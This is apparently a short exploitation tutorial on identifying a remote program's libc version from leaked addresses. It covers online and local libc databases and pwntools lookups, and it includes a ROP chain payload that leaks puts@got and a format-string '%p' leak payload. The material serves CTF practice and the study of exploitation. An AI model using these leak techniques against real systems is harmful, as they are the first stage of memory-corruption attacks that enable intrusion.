Libc Identification

Libc Identification

Overview

When exploiting remote binaries, the correct libc version is critical for calculating function offsets. This skill provides techniques for identifying libc versions from leaked addresses and calculating exploitation offsets.

Why Libc Identification Matters

Different libc versions have different:

• Function offsets (system, execve)
• String locations (/bin/sh)
• Gadget availability (one_gadget)
• Internal structures (malloc hooks)

A leak of puts at 0x7f1234567890 means nothing without knowing which libc to calculate the base from.

Identification Methods

Method 1: Online Libc Database

libc.blukat.me (Recommended):

1. Leak at least 2 function addresses
2. Visit https://libc.blukat.me/
3. Enter function name and last 3 hex digits of address
4. Database returns matching libc versions

Example:

puts: 0x7f9876543210 → last 3 digits: 210
printf: 0x7f9876512340 → last 3 digits: 340

Method 2: libc-database (Local)

# Clone libc-database
git clone https://github.com/niklasb/libc-database
cd libc-database

# Search by symbol offset
./find puts 210 printf 340

# Download identified libc
./download libc6_2.31-0ubuntu9_amd64

Method 3: pwntools libcdb

from pwn import *
from pwnlib.libcdb import search_by_symbol_offsets

# Search by leaked offsets
results = search_by_symbol_offsets({
    'puts': 0x210,
    'printf': 0x340
}, return_as_list=True)

for libc in results:
    print(f"Possible: {libc}")

Leaking Libc Addresses

Via GOT Leak

from pwn import *

elf = ELF('./binary')
io = process('./binary')

# Leak puts@got using puts
pop_rdi = 0x401234
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main'])

io.sendline(payload)
io.recvuntil(b'prompt')
leak = u64(io.recv(6).ljust(8, b'\x00'))
log.info(f"puts@libc: {hex(leak)}")

Via Format String

# Leak from stack - find libc return address
payload = b'%p ' * 30
io.sendline(payload)
leaks = io.recvline().decode().split()
# Analyze for libc-range addresses (0x7f...)